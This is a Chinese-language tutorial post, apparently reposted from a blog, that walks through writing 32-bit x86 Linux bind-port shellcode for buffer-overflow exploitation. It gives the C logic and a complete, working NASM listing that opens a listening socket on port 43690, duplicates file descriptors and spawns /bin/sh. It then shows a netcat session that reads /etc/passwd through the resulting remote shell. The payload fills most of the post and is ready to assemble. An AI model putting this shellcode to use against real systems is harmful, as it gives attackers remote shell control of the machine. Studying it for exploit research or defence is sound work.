如何编写绑定端口shellcode

来源:互联网 发布:淘宝直通车有必要开吗 编辑:程序博客网 时间:2024/05/17 07:20

前面《如何编写本地shellcode》一文介绍如何编写shellcode取得shell进行交互。本文介绍另一个例子,绑定端口的shellcode。攻击通过网络利用缓冲区溢出漏洞,注入该shellcode,那就可以能过shellcode打开的端口进行利用。


Shellcode逻辑C代码

绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 代码如下:

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family  = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}

socket系统调用

上面涉及网络操作的有几个函数:socket,bind,listen和accept,其中参数最复杂的算是bind了。其实在i586下面,这几个均不是系统调用,它们背后的是sockcall这个系统调用,原型为:

int sockcall(int call, unsigned long *args)

那么上面几个函数最终如何调用sockcall的呢? 很简单,它们是通过call这个参数来识别到底是哪个函数调用,而args就一个数组,每个元素主是上面各函数的参数列表:

比如socket(2, 1, 0) 是这样调用sockcall的:

int socket(int family, int type, int protocol)
{
unsigned long array[3] = { family, type, protocol);

return sockcall(SYS_SOCKET, array); // SYS_SOCKET值为1
}

而bind函数调用也是类似的:

int bind(int fd, struct sockaddr *addr, int len)
{
unsigned long array[3] = {fd, addr, len};

return sockcall(SYS_BIND, array); // SYS_BIND值为2
}

其实函数类似,都是将参数打包成一个数组,然后传给sockcall系统调用。

开始编写Shellcode

好,我们开始编写汇编代码。由于sockcall系统调用只有2个参数,分别占用ebx和ecx,那个edx是没有使用,可以让存放0值,在需要0的地方直接使用edx.

初始化寄存器

eax, ebx, ecx在汇编代码中分别表示系统调用号、第一参数和第二参数,需要清零,同时edx需要长期保持为零。

BITS 32


xor eax, eax
xor ebx, ebx
cdq                   ;将edx清零

编写socket函数

socket(2, 1, 0) => sockcall(1, [2, 1, 0]) 其中2, 1, 0是数组元素,宽度为byte。因此分别将0, 1, 2压到栈上(栈向低地址生成,所以先压尾巴。

push    edx
push    byte 0x01
push    byte 0x02

此时的栈底就是[2, 1, 0]数组的地址,为sockcall的第二参数(ecx),故直接将esp值赋给ecx:
mov     ecx, esp

第二参数ebx目前值为0,需要增加1,才能变成2

inc     bl

sockall系统调用号为102,需要给eax赋值,然后进行系统调用:

mov     al, 102
int     0x80

系统调用返回后,它的返回值( 后面要使用文件描述符)存放在eax中,由于后面的系统调用要使用eax来存放调用号,因此需要把该sock存放到不使用的寄存器esi中:

mov     esi, eax

bind系统调用

说实话,bind系统调用应该是最难写的一个了。首先看一下struct sockaddr_in serv_addr 变量地的定义:

struct sockaddr_in {
u16sin_family;                            // 本例赋值为0x02
u16 sin_port;                               //  本例赋值为0xAAAA
u32 sin_addr;                              // 本例赋值为全零,表示本机所有地址
unsigned char sin_zero[8];        // 要求为全零
};

先压sin_zero[8],8个字节全零:

push    edx
push    edx

接着是sin_addr,4个字节全零

push    edx

接着是sin_port,2字节,值为0xAAAA

push    0xAAAA

最后是sin_family,2字节,值为0x0002,但不能直接push,因此这样会生成包含零字节指令。借用ebx值为1,先加1,再压到栈上:

inc     bl
push    bx     ; 只压2字节

OK, 整个serv_addr变量压到栈上了,它的地址为 esp,先要把该地址保存出来:

mov     ecx, esp

还记得bind是如何调用sockcall的吗?
sockcall(SYS_BIND, [sock, &serv_addr, 0x10])

刚才只是将serv_addr压到栈上,同时将它的地址暂时保存到ecx上,为了调用sockcall系统调用来实现bind函数,还需要将[sock, &serv_addr, 0x10]  这个数组压到栈上。记得是从尾巴压起:

push    byte 0x10           ; 0x10
push    ecx                      ; &serv_addr
push    esi                       ; sock

压完后,esp就是数组地址,作为系统调用第二参数,应该保存到ecx中:

mov     ecx, esp

第一参数SYS_BIND值为2,刚好ebx值也为2,不需要重新赋值,直接进行系统调用:

mov     al, 102
int     0x80

listen系统调用

最复杂的bind办妥了,listen只不过是小菜一碟,直接上代码,加上注释:

listen(sock, 0)  => sockcall(4, [sock, 0])

push    edx                   ; 0
push    esi                     ; sock
mov     ecx, esp            ;sockcall第二参数,[sock, 0]数组地址
mov     bl, 0x04            ; 4, sockcall第一参数
mov     al, 102
int     0x80

accept系统调用

同样也比较简单,请看注释:

cli = accept(sock, 0, 0)  => cli = sockcall(5, [sock, 0, 0])

push    edx               ; 0
push    edx               ; 0
push    esi                ; sock
mov     ecx, esp       ; [sock, 0, 0]地址,为sockcall系统调用第二参数
inc     bl                   ; 前一系统调用bl值为4,加1后为5,是系统调用第一参数
mov     al, 102
int     0x80

accept返回的是客户端的fd,后面的dup2操作都是围绕它来的,需要将该返回值保存出来,在后面的dup2中,该返回值作为第一个参数,直接将它保存在ebx中:

mov     ebx, eax

dup2系统调用

不用担心了,dup2是一个标准的系统调用,从它开始,就不需要构造数组做为参数了,可以松一口气了。为了减少shellcode长度,使用循环来实现3次的dup2系统调用:



; dup2(cli, 0)
; dup2(cli, 1)
; dup2(cli, 2)

xor     ecx, ecx
mov     cl, 3
loop:
dec     cl
mov     al, 63
int     0x80            ; ecx分别是:2, 1, 0,ebx为cli
jnz     loop

execve系统调用

还记得之前产生字符串的技巧吗? 直接将字符串的内容压到栈上,不要忘了从尾巴压起,同时要先压零,让字符串有结束符:

; execve("/bin/sh", 0, 0)

push    ecx                               ; dup2完后,ecx值为零,这里先压字符串结束符
push    long 0x68732f6e 
push    long 0x69622f2f       ; 这两句将"//bin/sh"字符串压到栈上
mov     ebx, esp                     ; 字符串地址,作为系统调用第一参数,放到ebx
mov     edx, ecx                     ; ecx值已为零,作为系统调用第二参数;同时赋给edx,系统调用第三参数
mov     al, 0x0b
int     0x80

完整的编汇代码

我们将该汇编代码放到bind.s文件内:

[plain] view plaincopyprint?在CODE上查看代码片派生到我的代码片
  1. BITS 32  
  2.   
  3. xor eax, eax  
  4. xor ebx, ebx  
  5. cdq  
  6.   
  7. ; soc = sockcall(1, [2, 1, 0])  
  8. push    edx  
  9. push    byte 0x01  
  10. push    byte 0x02  
  11. mov     ecx, esp  
  12. inc     bl  
  13. mov     al, 102  
  14. int     0x80  
  15. mov     esi, eax        ;store the return value(soc)  
  16.   
  17. ; serv_addr.sin_family = 2  
  18. ; serv_addr.sin_addr.s_addr = 0  
  19. ; serv_addr.sin_port = 0xAAAA  
  20. ; bind(sock, (struct sockaddr *)&serv_addr, 0x10)  
  21. ; => sockcall(2, [sock, &serv_addr, 0x10])  
  22. push    edx  
  23. push    edx  
  24. push    edx  
  25. push    0xAAAA  
  26. inc     bl  
  27. push    bx  
  28. mov     ecx, esp  
  29. push    byte 0x10  
  30. push    ecx  
  31. push    esi  
  32. mov     ecx, esp  
  33. mov     al, 102  
  34. int     0x80  
  35.   
  36. ; listen(sock, 0)  
  37. ; => sockcall(4, [sock, 0])  
  38. push    edx  
  39. push    esi  
  40. mov     ecx, esp  
  41. mov     bl, 0x04  
  42. mov     al, 102  
  43. int     0x80  
  44.   
  45. ; cli = accept(sock, 0, 0)  
  46. ; => cli = sockcall(5, [sock, 0, 0])  
  47. push    edx  
  48. push    edx  
  49. push    esi  
  50. mov     ecx, esp  
  51. inc     bl  
  52. mov     al, 102  
  53. int     0x80  
  54. mov     ebx, eax  
  55.   
  56. ; dup2(cli, 0)  
  57. ; dup2(cli, 1)  
  58. ; dup2(cli, 2)  
  59. xor     ecx, ecx  
  60. mov     cl, 3  
  61. loop:  
  62. dec     cl  
  63. mov     al, 63  
  64. int     0x80  
  65. jnz     loop  
  66.   
  67. ; execve("/bin/sh", 0, 0)  
  68. push    ecx  
  69. push    long 0x68732f6e  
  70. push    long 0x69622f2f  
  71. mov     ebx, esp  
  72. mov     edx, ecx  
  73. mov     al, 0x0b  
  74. int     0x80  


编译和测试


使用nasm编译器进行编译:

$ nasm -o bind bind.s

然后使用之前写的sctest32测试工具进行测试。

运行Shellcode:

$ sctest32 bind

打开一个新端终,通过网络与Shellcode打开的端口进行连接,然后获取Shellcode,通过cat /etc/passwd命令获取系统帐号信息:

$ netcat localhost 43690
cat /etc/passwd                                       <-------------用户输入
root:x:0:0:root:/root:/bin/bash                <-------------Shellcode输出
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
......

只要运行了绑定端口Shellcode,攻击者主可以通过sh来控制整个系统。

小结

这里介绍的绑定端口Shellcode没有什么新新鲜的玩意,只是i586上的socket/bind/listen/accept不是真正的系统调用,需要做转换而已。难点是serv_addr结构如何压在栈空间上。这里使用的技巧和以前是完全一样的。
0 0